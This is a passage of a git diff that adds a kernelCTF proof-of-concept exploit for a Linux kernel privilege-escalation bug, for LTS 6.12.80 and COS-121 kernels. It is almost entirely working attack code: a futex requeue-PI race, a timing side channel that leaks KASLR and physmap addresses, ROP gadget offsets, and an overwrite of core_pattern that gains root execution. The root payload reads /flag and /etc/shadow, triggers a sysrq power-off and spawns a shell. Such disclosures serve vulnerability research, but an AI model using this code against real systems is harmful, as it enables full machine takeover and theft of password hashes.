long)&read_prctl_mm_map; + map->end_code = map->start_code + 0x1000; + map->start_data = (unsigned long)&errno & ~0xfffUL; + map->end_data = map->start_data + 0x1000; + map->start_brk = (unsigned long)sbrk(0); + map->brk = map->start_brk; + map->start_stack = (unsigned long)&sz; + map->arg_start = map->start_stack; + map->arg_end = map->start_stack; + map->env_start = map->start_stack; + map->env_end = map->start_stack; + map->exe_fd = -1U; + return 0; +} + +uint64_t *shmem_auxv() { + return (uint64_t *)(shmem_map + page_size - 29 * sizeof(uint64_t)); +} + +void fill_shmem_auxv() { + uint64_t *auxv = shmem_auxv(); + + memset(shmem_map, 0, page_size); + auxv[17] = 1ULL; + auxv[18] = 0ULL; + auxv[19] = W0_BASE; + auxv[27] = init_task; + auxv[28] = INET6_UDP_ROOT; + auxv[29] = 0ULL; +} + +void *shmem_puncher(void *) { + while (!atomic_load_explicit(&shmem_punch_go, memory_order_acquire)) { + __asm__ volatile("pause" ::: "memory"); + } + while (!atomic_load_explicit(&shmem_prctl_done, memory_order_acquire)) { + SYSCHK(fallocate(shmem_fd, 0, (off_t)page_size, SHMEM_LEN - page_size)); + SYSCHK(fallocate(shmem_fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, + (off_t)page_size, SHMEM_LEN - page_size)); + } + return NULL; +} + +void setup_shmem_auxv() { + page_size = (size_t)SYSCHK(sysconf(_SC_PAGESIZE)); + SYSCHK(shmem_fd = memfd_create("x", 0)); + SYSCHK(fallocate(shmem_fd, 0, 0, SHMEM_LEN)); + shmem_map = (unsigned char *)SYSCHK(mmap(MMAP_ADDR, SHMEM_LEN, + PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, + shmem_fd, 0)); + for (size_t off = page_size; off < SHMEM_LEN; off += page_size) { + shmem_map[off] = 0; + } + fill_shmem_auxv(); +} + +void stamp_inet6_udp_with_shmem_prctl_once() { + struct prctl_mm_map map; + + CHECK_ZERO(read_prctl_mm_map(&map)); + fill_shmem_auxv(); + atomic_store_explicit(&shmem_punch_go, 0, memory_order_release); + atomic_store_explicit(&shmem_prctl_ready, 0, memory_order_release); + atomic_store_explicit(&shmem_prctl_done, 0, memory_order_release); + + pthread_t punch_thread; + pthread_attr_t attr; + CHECK_ZERO(pthread_attr_init(&attr)); + CHECK_ZERO(pthread_attr_setstacksize(&attr, THREAD_STACK_SIZE)); + CHECK_ZERO(pthread_create(&punch_thread, &attr, shmem_puncher, NULL)); + + map.auxv = (__u64 *)shmem_auxv(); + map.auxv_size = sizeof(uint64_t) * 52; + atomic_store_explicit(&shmem_punch_go, 1, memory_order_release); + usleep(SHMEM_PRCTL_DELAY_US); + atomic_store_explicit(&shmem_prctl_ready, 1, memory_order_release); + futex_wake_atomic(&shmem_prctl_ready); + int req = atomic_load_explicit(&consume_request, memory_order_acquire); + for (int i = 0; i < 100 && + atomic_load_explicit(&consume_done, memory_order_acquire) < req; i++) { + prctl(PR_SET_MM, PR_SET_MM_MAP, &map, sizeof(map), 0); + } + atomic_store_explicit(&shmem_prctl_done, 1, memory_order_release); + CHECK_ZERO(pthread_join(punch_thread, NULL)); +} + +void *waiter_thread(void *) { + pin_self_cpu(WAITER_CPU); +#if CFH_ONLY && KCTF_PREBATCH_WAITER + set_self_policy_batch(); +#endif + atomic_store_explicit(&a_tid, (int)SYSCHK(syscall(SYS_gettid)), memory_order_release); + SYSCHK(futex_lock_pi(&f_pi_chain)); + + atomic_store_explicit(&a_ready, 1, memory_order_release); + usleep(200 * 1000); + + struct timespec timeout; + SYSCHK(clock_gettime(CLOCK_MONOTONIC, &timeout)); + timeout.tv_sec += WAIT_TIMEOUT_SEC; + + atomic_store_explicit(&a_wait_started, 1, memory_order_release); + futex_wait_requeue_pi(&f_wait, &f_pi_target, &timeout); + if (!atomic_load_explicit(&deadlock_seen, memory_order_acquire)) { + return NULL; + } + + for (int seq = 1; seq <= STAMP_ITERS; seq++) { + atomic_store_explicit(&consume_request, seq, memory_order_release); + futex_wake_atomic(&consume_request); + stamp_inet6_udp_with_shmem_prctl_once(); + while (atomic_load_explicit(&consume_done, memory_order_acquire) < seq) { + __asm__ volatile("pause" ::: "memory"); + } + } + return NULL; +} + +void *owner_thread(void *) { + pin_self_cpu(OWNER_CPU); + SYSCHK(futex_lock_pi(&f_pi_target)); + while (!atomic_load_explicit(&a_ready, memory_order_acquire)) { + usleep(1000); + } + atomic_store_explicit(&b_started, 1, memory_order_release); + SYSCHK(futex_lock_pi(&f_pi_chain)); + return NULL; +} + +void *consumer_thread(void *) { +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER + pin_self_cpu(WAITER_CPU); +#else + pin_self_cpu(CONSUMER_CPU); + install_cea_seed_handlers(); +#endif + + int tid; + do { + tid = atomic_load_explicit(&a_tid, memory_order_acquire); + if (!tid) { + usleep(1000); + } + } while (!tid); + +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER + while (!atomic_load_explicit(&stage1_seed_epoch, memory_order_acquire)) { + __asm__ volatile("pause" ::: "memory"); + } +#endif + + int done = 0; + + while (done < STAMP_ITERS) { + int req = atomic_load_explicit(&consume_request, memory_order_acquire); + if (req <= done) { +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER + futex_wait_atomic(&consume_request, done); +#else + __asm__ volatile("pause" ::: "memory"); +#endif + continue; + } + +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER + while (!atomic_load_explicit(&shmem_prctl_ready, memory_order_acquire)) { + futex_wait_atomic(&shmem_prctl_ready, 0); + } +#else + while (!atomic_load_explicit(&shmem_prctl_ready, memory_order_acquire)) { + __asm__ volatile("pause" ::: "memory"); + } +#if !CFH_PRESEED_STAGE1_W0 + for (int i = 0; i < CFH_READY_SEED_REPS; i++) { + seed_entry_stack_w0(); + } +#endif +#endif + if (CFH_CONSUME_DELAY_US) { + usleep(CFH_CONSUME_DELAY_US); + } + +#if CFH_ONLY + int nice_value = 19; +#else + errno = 0; + int nice_value = getpriority(PRIO_PROCESS, tid); + if (nice_value == -1 && errno) { + nice_value = 19; + } else if (nice_value < 19) { + nice_value++; + } +#endif + +#if CFH_ONLY && KCTF_POLICY_TOGGLE_CONSUMER + int sched_policy = (req & 1) ? SCHED_BATCH : SCHED_OTHER; +#else + int sched_policy = SCHED_OTHER; +#endif + + struct sched_attr_local attr; + + memset(&attr, 0, sizeof(attr)); + attr.size = sizeof(attr); + attr.sched_policy = sched_policy; + attr.sched_nice = nice_value; + + errno = 0; + int ret = syscall(SYS_sched_setattr, tid, &attr, 0); + printf("[H] sched_setattr tid=%d seq=%d policy=%d nice=%d ret=%d errno=%d (%s)\n", + tid, req, sched_policy, nice_value, ret, errno, strerror(errno)); + atomic_store_explicit(&consume_done, req, memory_order_release); + done = req; + } + return NULL; +} + +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER +void *stage1_w0_seed_thread(void *) { + pin_self_cpu(CONSUMER_CPU); + install_cea_seed_handlers(); + + while (!atomic_load_explicit(&stage1_seed_stop, memory_order_acquire)) { + seed_entry_stack_w0(); + atomic_fetch_add_explicit(&stage1_seed_epoch, 1, memory_order_release); + } + return NULL; +} +#endif + +int sync_pipe[2]; +int win_pipe[2]; +char dummy_buf[3]; +void check_win() { + int fd; + pin_self_cpu(!STAGE2_CPU); + read(sync_pipe[0], dummy_buf, 1); + while ((fd = open("/proc/sys/kernel/core_pattern", O_WRONLY)) < 0) { + usleep(30 * 1000); + } + const char *win = "|/proc/%P/fd/666 %P"; + write(fd, win, strlen(win)); + close(fd); + puts("[+] We wins, say goodbye to the world you know"); + write(win_pipe[1], "W", 1); + if (!fork()) { + setsid(); + int memfd = memfd_create("", 0); + SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff)); + dup2(memfd, 666); + close(memfd); + *(size_t *)0 = 0; + } + sleep(10); +} + +static void reset_trigger_state(void) +{ + f_wait = 0; + f_pi_target = 0; + f_pi_chain = 0; + atomic_store_explicit(&a_ready, 0, memory_order_release); + atomic_store_explicit(&a_tid, 0, memory_order_release); + atomic_store_explicit(&a_wait_started, 0, memory_order_release); + atomic_store_explicit(&b_started, 0, memory_order_release); + atomic_store_explicit(&deadlock_seen, 0, memory_order_release); + atomic_store_explicit(&consume_request, 0, memory_order_release); + atomic_store_explicit(&consume_done, 0, memory_order_release); +} + +void *vuln_waiter_thread(void *) +{ + pin_self_cpu(WAITER_CPU); + atomic_store_explicit(&a_tid, (int)SYSCHK(syscall(SYS_gettid)), + memory_order_release); + SYSCHK(futex_lock_pi(&f_pi_chain)); + + atomic_store_explicit(&a_ready, 1, memory_order_release); + usleep(200 * 1000); + + struct timespec timeout; + SYSCHK(clock_gettime(CLOCK_MONOTONIC, &timeout)); + timeout.tv_sec += WAIT_TIMEOUT_SEC; + + atomic_store_explicit(&a_wait_started, 1, memory_order_release); + futex_wait_requeue_pi(&f_wait, &f_pi_target, &timeout); + if (!atomic_load_explicit(&deadlock_seen, memory_order_acquire)) + return NULL; + + atomic_store_explicit(&consume_request, 1, memory_order_release); + futex_wake_atomic(&consume_request); + while (!atomic_load_explicit(&consume_done, memory_order_acquire)) + __asm__ volatile("pause" ::: "memory"); + return NULL; +} + +void *vuln_owner_thread(void *) +{ + pin_self_cpu(OWNER_CPU); + SYSCHK(futex_lock_pi(&f_pi_target)); + while (!atomic_load_explicit(&a_ready, memory_order_acquire)) + usleep(1000); + atomic_store_explicit(&b_started, 1, memory_order_release); + SYSCHK(futex_lock_pi(&f_pi_chain)); + return NULL; +} + +void *vuln_consumer_thread(void *) +{ + int tid; + + do { + tid = atomic_load_explicit(&a_tid, memory_order_acquire); + if (!tid) + usleep(1000); + } while (!tid); + + while (!atomic_load_explicit(&consume_request, memory_order_acquire)) + futex_wait_atomic(&consume_request, 0); + + for (int i = 0; i < 64; i++) { + struct sched_attr_local attr; + + memset(&attr, 0, sizeof(attr)); + attr.size = sizeof(attr); + attr.sched_policy = i & 1 ? SCHED_BATCH : SCHED_OTHER; + attr.sched_nice = 19; + syscall(SYS_sched_setattr, tid, &attr, 0); + } + atomic_store_explicit(&consume_done, 1, memory_order_release); + return NULL; +} + +int run_vuln_trigger(void) +{ + pthread_t waiter; + pthread_t owner; + pthread_t consumer; + pthread_attr_t attr; + + reset_trigger_state(); + pin_self_cpu(WAITER_CPU); + CHECK_ZERO(pthread_attr_init(&attr)); + CHECK_ZERO(pthread_attr_setstacksize(&attr, THREAD_STACK_SIZE)); + CHECK_ZERO(pthread_create(&waiter, &attr, vuln_waiter_thread, NULL)); + CHECK_ZERO(pthread_create(&owner, &attr, vuln_owner_thread, NULL)); + CHECK_ZERO(pthread_create(&consumer, &attr, vuln_consumer_thread, NULL)); + + while (!atomic_load_explicit(&a_wait_started, memory_order_acquire) || + !atomic_load_explicit(&b_started, memory_order_acquire)) { + usleep(1000); + } + + errno = 0; + int ret = futex_cmp_requeue_pi(&f_wait, &f_pi_target); + printf("[M] cmp_requeue_pi ret=%d errno=%d (%s)\n", ret, errno, + strerror(errno)); + if (ret == -1 && errno == EDEADLK) + atomic_store_explicit(&deadlock_seen, 1, memory_order_release); + else + atomic_store_explicit(&consume_done, 1, memory_order_release); + + CHECK_ZERO(pthread_join(waiter, NULL)); + CHECK_ZERO(pthread_join(consumer, NULL)); + return 0; +} + +static int exploit_once(int argc, char *argv[]) { + if (argc > 1 && strcmp(argv[1], "--vuln-trigger") == 0) { + return run_vuln_trigger(); + } + + if (argc > 1) { + int pid = strtoull(argv[1], 0, 10); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + dup2(stdoutfd, 1); + + system("cat /flag;cat /flag"); + system("whoami; id"); + system("head /etc/shadow"); + system("cat /flag;echo o>/proc/sysrq-trigger"); + execlp("bash", "bash", NULL); + } + + pipe(sync_pipe); + pipe(win_pipe); + + pid_t check_pid = fork(); + if (check_pid == 0) { + check_win(); + _exit(0); + } + + leak_kernel_addresses(); + + mlockall(MCL_CURRENT); + pin_self_cpu(WAITER_CPU); + setup_shmem_auxv(); + + pthread_t waiter; + pthread_t owner; + pthread_t consumer; +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER + pthread_t stage1_seeder; +#endif + pthread_attr_t attr; + CHECK_ZERO(pthread_attr_init(&attr)); + CHECK_ZERO(pthread_attr_setstacksize(&attr, THREAD_STACK_SIZE)); +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER + CHECK_ZERO(pthread_create(&stage1_seeder, &attr, stage1_w0_seed_thread, NULL)); +#endif + CHECK_ZERO(pthread_create(&waiter, &attr, waiter_thread, NULL)); + CHECK_ZERO(pthread_create(&owner, &attr, owner_thread, NULL)); + CHECK_ZERO(pthread_create(&consumer, &attr, consumer_thread, NULL)); + + while (!atomic_load_explicit(&a_wait_started, memory_order_acquire) || + !atomic_load_explicit(&b_started, memory_order_acquire)) { + usleep(1000); + } + + errno = 0; + int ret = futex_cmp_requeue_pi(&f_wait, &f_pi_target); + printf("[M] cmp_requeue_pi ret=%d errno=%d (%s)\n", ret, errno, strerror(errno)); + if (ret == -1 && errno == EDEADLK) { + atomic_store_explicit(&deadlock_seen, 1, memory_order_release); + } + + CHECK_ZERO(pthread_join(waiter, NULL)); + CHECK_ZERO(pthread_join(consumer, NULL)); +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER + atomic_store_explicit(&stage1_seed_stop, 1, memory_order_release); + CHECK_ZERO(pthread_join(stage1_seeder, NULL)); +#endif + +#if !ENABLE_STAGE2 + puts("[M] stage2 disabled for cos-121 porting baseline"); + return 0; +#else + pid_t stage2_pid = fork(); + if (stage2_pid == 0) { + pin_self_cpu(STAGE2_CPU); + install_cea_seed_handlers(); + seed_entry_stack_stage2(); + write(sync_pipe[1], "XXX", 2); + while (1) { + seed_entry_stack_stage2(); + } + } + pin_self_cpu(STAGE2_CPU); + int fd = SYSCHK(socket(AF_INET6, SOCK_DGRAM, 0)); + struct sockaddr_in6 addr; + + memset(&addr, 0, sizeof(addr)); + addr.sin6_family = AF_INET6; + addr.sin6_port = htons(9); + addr.sin6_addr = in6addr_loopback; + read(sync_pipe[0], dummy_buf, 1); + SYSCHK(connect(fd, (struct sockaddr *)&addr, sizeof(addr))); + // usleep(20 * 1000); + write(fd, "X", 1); // Trigger CFH + + fd_set rfds; + struct timeval tv; + + FD_ZERO(&rfds); + FD_SET(win_pipe[0], &rfds); + tv.tv_sec = 5; + tv.tv_usec = 0; + if (select(win_pipe[0] + 1, &rfds, NULL, NULL, &tv) > 0) { + sleep(10); + return 0; + } + + kill(stage2_pid, SIGKILL); + kill(check_pid, SIGKILL); + waitpid(stage2_pid, NULL, 0); + waitpid(check_pid, NULL, 0); + return 1; +#endif +} + +int main(int argc, char *argv[]) +{ + if (argc > 1) + return exploit_once(argc, argv); + + while (1) { + pid_t pid = fork(); + + if (pid == 0) { + setpgid(0, 0); + _exit(exploit_once(argc, argv)); + } + if (pid < 0) + err(1, "fork"); + setpgid(pid, pid); + + int status = 0; + waitpid(pid, &status, 0); + kill(-pid, SIGKILL); + while (waitpid(-pid, NULL, WNOHANG) > 0) { + } + if (WIFEXITED(status) && WEXITSTATUS(status) == 0) + return 0; + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/cos-121-18867.381.56/physmap_leak.cpp b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/cos-121-18867.381.56/physmap_leak.cpp new file mode 100644 index 000000000..d8acdc71a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/cos-121-18867.381.56/physmap_leak.cpp @@ -0,0 +1,183 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "physmap_leak.h" + +static const uint64_t PHYSMAP_START = 0xffff888000000000ULL; +static const uint64_t PHYSMAP_END = 0xffffa18000000000ULL; +static const uint64_t PHYSMAP_SLOT_SIZE = 0x10000000ULL; + +static uint64_t physmap_median(std::vector v) +{ + assert(!v.empty() && "physmap_median received an empty vector"); + size_t n = v.size() / 2; + std::nth_element(v.begin(), v.begin() + n, v.end()); + return v[n]; +} + +static uint64_t physmap_abs_diff(uint64_t a, uint64_t b) +{ + return a > b ? a - b : b - a; +} + +static std::optional physmap_find_edge(const std::vector &timings, + uint64_t window_size) +{ + if (timings.size() < window_size) + return std::nullopt; + + uint64_t median = physmap_median(timings); + uint64_t current_sum_diff = 0; + + for (size_t k = 0; k < window_size; k++) + current_sum_diff += physmap_abs_diff(timings[k], median); + + uint64_t max_sum_diff = current_sum_diff; + std::optional best_slot = 0; + + for (size_t i = 1; i <= timings.size() - window_size; i++) { + current_sum_diff -= physmap_abs_diff(timings[i - 1], median); + current_sum_diff += physmap_abs_diff(timings[i + window_size - 1], + median); + + if (current_sum_diff > max_sum_diff) { + max_sum_diff = current_sum_diff; + best_slot = i; + } + } + + return best_slot; +} + +static uint64_t physmap_slot_to_addr(size_t slot) +{ + return PHYSMAP_START + slot * PHYSMAP_SLOT_SIZE; +} + +static inline __attribute__((always_inline)) uint64_t physmap_rdtsc_begin() +{ + uint64_t a, d; + + asm volatile("mfence\n\t" + "rdtscp\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "lfence\n\t" + : "=r"(d), "=r"(a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + return (d << 32) | a; +} + +static inline __attribute__((always_inline)) uint64_t physmap_rdtsc_end() +{ + uint64_t a, d; + + asm volatile("xor %%rax, %%rax\n\t" + "lfence\n\t" + "rdtscp\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r"(d), "=r"(a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + return (d << 32) | a; +} + +static inline __attribute__((always_inline)) void physmap_prefetch(uint64_t addr) +{ + asm volatile("prefetchnta (%0)\n\t" + "prefetcht2 (%0)\n\t" + : + : "r"(addr)); +} + +static uint64_t physmap_sidechannel(uint64_t addr) +{ + uint64_t time = physmap_rdtsc_begin(); + physmap_prefetch(addr); + return physmap_rdtsc_end() - time; +} + +static std::optional physmap_try_leak_base(uint64_t window_size, + int samples) +{ + size_t slots = (PHYSMAP_END - PHYSMAP_START) / PHYSMAP_SLOT_SIZE; + std::vector timings(slots, std::numeric_limits::max()); + + for (int i = 0; i < samples; i++) { + for (size_t slot = 0; slot < slots; slot++) { + uint64_t addr = physmap_slot_to_addr(slot); + uint64_t timing = physmap_sidechannel(addr); + + if (timing < timings[slot]) + timings[slot] = timing; + } + } + + std::optional slot = physmap_find_edge(timings, window_size); + if (slot.has_value()) + return physmap_slot_to_addr(*slot); + + printf("[x] Failed to find physmap edge for this trial.\n"); + return std::nullopt; +} + +static std::optional +physmap_find_majority(const std::vector> &slots) +{ + uint64_t candidate = 0; + size_t count = 0; + + for (const auto &slot : slots) { + if (count == 0) { + if (slot.has_value()) { + candidate = slot.value(); + count = 1; + } + } else if (slot.has_value() && slot.value() == candidate) { + count++; + } else { + count--; + } + } + + size_t actual_count = 0; + for (const auto &slot : slots) { + if (slot.has_value() && slot.value() == candidate) + actual_count++; + } + + if (actual_count > slots.size() / 2) + return candidate; + return std::nullopt; +} + +uint64_t leak_phys_map_base(int map_cnt) +{ + for (int round = 0; round < 5; round++) { + std::vector> candidates; + + for (int i = 0; i < 7; i++) + candidates.push_back(physmap_try_leak_base(map_cnt, 100)); + + std::optional phys_map = physmap_find_majority(candidates); + if (phys_map.has_value() && phys_map.value() != PHYSMAP_START) { + printf("[!] Leaked phys map base: 0x%lx\n", phys_map.value()); + return phys_map.value(); + } + + printf("[x] Retrying physmap leak.\n"); + } + + printf("[x] Failed to leak physmap base.\n"); + exit(1); +} diff --git a/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/cos-121-18867.381.56/physmap_leak.h b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/cos-121-18867.381.56/physmap_leak.h new file mode 100644 index 000000000..62bc67591 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/cos-121-18867.381.56/physmap_leak.h @@ -0,0 +1,8 @@ +#ifndef PHYSMAP_LEAK_H +#define PHYSMAP_LEAK_H + +#include + +uint64_t leak_phys_map_base(int map_cnt); + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/lts-6.12.80/Makefile b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/lts-6.12.80/Makefile new file mode 100644 index 000000000..f894eb7fd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/lts-6.12.80/Makefile @@ -0,0 +1,36 @@ +CXX ?= g++ +CPPFLAGS ?= -Ikernel-research/libxdk/include +CXXFLAGS ?= -std=gnu++17 -static -O0 +LDFLAGS ?= -static -s -Lkernel-research/libxdk/lib +LDLIBS ?= -lkernelXDK + +TARGETS := exploit exploit_debug +SRC := exploit.c physmap_leak.cpp + +.PHONY: all prerequisites run clean + +all: prerequisites exploit + +prerequisites: target_db.kxdb kernel-research/libxdk/lib/libkernelXDK.a + +target_db.kxdb: + wget -O $@ https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb + +kernel-research: + git clone --depth 1 https://github.com/google/kernel-research.git $@ + +kernel-research/libxdk/lib/libkernelXDK.a: | kernel-research + cd kernel-research/libxdk && ./build.sh + +exploit: prerequisites $(SRC) + $(CXX) $(CPPFLAGS) $(CXXFLAGS) $(SRC) -o $@ $(LDFLAGS) $(LDLIBS) + +exploit_debug: CXXFLAGS += -g +exploit_debug: prerequisites $(SRC) + $(CXX) $(CPPFLAGS) $(CXXFLAGS) $(SRC) -o $@ $(LDFLAGS) $(LDLIBS) + +run: exploit + ./$< + +clean: + rm -rf $(TARGETS) target_db.kxdb kernel-research diff --git a/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/lts-6.12.80/exploit b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/lts-6.12.80/exploit new file mode 100644 index 000000000..c65f48d92 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/lts-6.12.80/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/lts-6.12.80/exploit.c b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/lts-6.12.80/exploit.c new file mode 100644 index 000000000..e624dd995 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/lts-6.12.80/exploit.c @@ -0,0 +1,964 @@ +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "physmap_leak.h" + +#define memory_order_acquire __ATOMIC_ACQUIRE +#define memory_order_release __ATOMIC_RELEASE + +static inline int atomic_load_explicit(int *p, int order) +{ + return __atomic_load_n(p, order); +} + +static inline void atomic_store_explicit(int *p, int value, int order) +{ + __atomic_store_n(p, value, order); +} + +static inline int atomic_fetch_add_explicit(int *p, int value, int order) +{ + return __atomic_fetch_add(p, value, order); +} + +INCBIN(target_db, "target_db.kxdb"); + +#define ENABLE_STAGE2 1 +#define CFH_ONLY 1 +#define KCTF_POLICY_TOGGLE_CONSUMER 1 +#define KCTF_PREBATCH_WAITER 0 +#define CFH_DEDICATED_W0_SEEDER 0 + +#ifndef SCHED_BATCH +#define SCHED_BATCH 3 +#endif + +#ifndef CFH_CONSUME_DELAY_US +#define CFH_CONSUME_DELAY_US 0 +#endif + +#ifndef CFH_READY_SEED_REPS +#define CFH_READY_SEED_REPS 1 +#endif + +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ + }) + +#define CHECK_ZERO(x) \ + ({ \ + int __res = (x); \ + if (__res) \ + errx(1, "CHECK_ZERO(" #x "): %d", \ + __res); \ + __res; \ + }) + +#define KERNEL_BASE 0xffffffff81000000ULL +#define STATIC_TARGET_RELEASE "lts-6.12.80" +#define STATIC_TARGET_VERSION "Linux version 6.12.80 (runner@runnervm727z3) (gcc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #1 SMP Thu Apr 2 12:37:27 UTC 2026" +#define STATIC_TARGET_KERNEL_PAGE_COUNT 38 + +#define OFF_CPU1_CEA_PT_REGS_BASE 0x11c518f58ULL + +uint64_t pc_0; // mov rdi, [r15+0x58]; mov rdx, r12; mov rax, [r15+0x60]; call rax; +uint64_t pc_1; // mov rbp, [r15+0x30]; mov rax, [rdi]; call rax; +uint64_t pc_2; // mov rsp, rbp; pop rbp; ret; +uint64_t write_4; // mov [rsi], edi; ret; +uint64_t pop_rdi_rdi; // pop rdi; pop rdi; ret; +uint64_t pop_rsi; // pop rsi; ret; + +uint64_t core_pattern_mode; // &coredump_sysctls[1].mode +uint64_t msleep; // msleep + +uint64_t target_inet6_udp; +uint64_t init_task; + +uint64_t cpu1_cea_pt_regs_base; + +static void add_static_target(TargetDb &kxdb) +{ + Target target("kernelctf", STATIC_TARGET_RELEASE, STATIC_TARGET_VERSION); + + target.SetKernelPageCount(STATIC_TARGET_KERNEL_PAGE_COUNT); + target.AddSymbol("cea_pc_0", 0x151d96bULL); + target.AddSymbol("cea_pc_1", 0x27b18dULL); + target.AddSymbol("cea_pc_2", 0x1878327ULL); + target.AddSymbol("write_4", 0x14ae1caULL); + target.AddSymbol("pop_rdi_rdi", 0xcd4400ULL); + target.AddSymbol("pop_rsi", 0x188c2cfULL); + target.AddSymbol("core_pattern_mode", 0x361166cULL); + target.AddSymbol("msleep", 0x275930ULL); + target.AddSymbol("target_inet6_udp", 0x38edcc8ULL); + target.AddSymbol("init_task", 0x340d0c0ULL); + kxdb.AddTarget(target); +} + +static void resolve_target_offsets(Target &target) +{ + pc_0 = KERNEL_BASE + target.GetSymbolOffset("cea_pc_0"); + pc_1 = KERNEL_BASE + target.GetSymbolOffset("cea_pc_1"); + pc_2 = KERNEL_BASE + target.GetSymbolOffset("cea_pc_2"); + write_4 = KERNEL_BASE + target.GetSymbolOffset("write_4"); + pop_rdi_rdi = KERNEL_BASE + target.GetSymbolOffset("pop_rdi_rdi"); + pop_rsi = KERNEL_BASE + target.GetSymbolOffset("pop_rsi"); + core_pattern_mode = KERNEL_BASE + target.GetSymbolOffset("core_pattern_mode"); + msleep = KERNEL_BASE + target.GetSymbolOffset("msleep"); + target_inet6_udp = KERNEL_BASE + target.GetSymbolOffset("target_inet6_udp"); + init_task = KERNEL_BASE + target.GetSymbolOffset("init_task"); + cpu1_cea_pt_regs_base = OFF_CPU1_CEA_PT_REGS_BASE; +} + +static Target init_target_offsets(void) +{ + try { + static TargetDb kxdb("target_db.kxdb", target_db); + add_static_target(kxdb); + Target target = kxdb.AutoDetectTarget(); + + resolve_target_offsets(target); + printf("[.] Target: %s %s\n", target.GetDistro().c_str(), + target.GetReleaseName().c_str()); + return target; + } catch (const std::exception &e) { + fprintf(stderr, "[-] kernelXDK failed: %s\n", e.what()); + exit(1); + } +} + +void leak_kernel_addresses() +{ + Target target = init_target_offsets(); + uint64_t base = leak_kaslr_base(target.GetKernelPageCount(), 100, 3); + printf("[.] KASLR window size: %llu pages\n", + (unsigned long long)target.GetKernelPageCount()); + printf("[!] Leaked KASLR base: 0x%lx\n", base); + uint64_t slide = base - KERNEL_BASE; + printf("[!] KASLR slide: 0x%lx\n", slide); + uint64_t phys_map = leak_phys_map_base(11); + printf("[+] KASLR slide: 0x%lx\n", slide); + printf("[+] Leaked phys map base: 0x%lx\n", phys_map); + pc_0 += slide; + pc_1 += slide; + pc_2 += slide; + write_4 += slide; + pop_rdi_rdi += slide; + pop_rsi += slide; + core_pattern_mode += slide; + msleep += slide; + target_inet6_udp += slide; + init_task += slide; + + cpu1_cea_pt_regs_base += phys_map; +} + +#define INET6_UDP_ROOT (target_inet6_udp - 0x8ULL) +#define W0_BASE cpu1_cea_pt_regs_base +#define L_BASE (W0_BASE + 0x30ULL) +#define MAGIC_OWNER (pc_0 - 0x28ULL) + +#define WAITER_CPU 0 +#define OWNER_CPU 0 +#define CONSUMER_CPU 1 +#define STAGE2_CPU 1 + +#define WAIT_TIMEOUT_SEC 1 +#define ENTRY_SEED_REPS 2 +#define STAMP_ITERS 1 +#define W0_PRIO 138 +#define SHMEM_LEN (1 * 1024 * 1024) +#define SHMEM_PRCTL_DELAY_US 4000 +#define MMAP_ADDR ((void *)0xdead10000) +#define THREAD_STACK_SIZE (1024 * 1024) + +struct sched_attr_local { + uint32_t size; + uint32_t sched_policy; + uint64_t sched_flags; + int32_t sched_nice; + uint32_t sched_priority; + uint64_t sched_runtime; + uint64_t sched_deadline; + uint64_t sched_period; + uint32_t sched_util_min; + uint32_t sched_util_max; +}; + +struct cea_regs15_payload { + uint64_t r15; + uint64_t r14; + uint64_t r13; + uint64_t r12; + uint64_t rbp; + uint64_t rbx; + uint64_t r11; + uint64_t r10; + uint64_t r9; + uint64_t r8; + uint64_t rax; + uint64_t rcx; + uint64_t rdx; + uint64_t rsi; + uint64_t rdi; +}; + +uint32_t f_wait __attribute__((aligned(4))); +uint32_t f_pi_target __attribute__((aligned(4))); +uint32_t f_pi_chain __attribute__((aligned(4))); + +int a_ready; +int a_tid; +int a_wait_started; +int b_started; +int deadlock_seen; +int consume_request; +int consume_done; +int shmem_punch_go; +int shmem_prctl_ready; +int shmem_prctl_done; +int stage1_seed_stop; +int stage1_seed_epoch; + +__thread sigjmp_buf cea_seed_env; +__thread int cea_seed_active; + +int 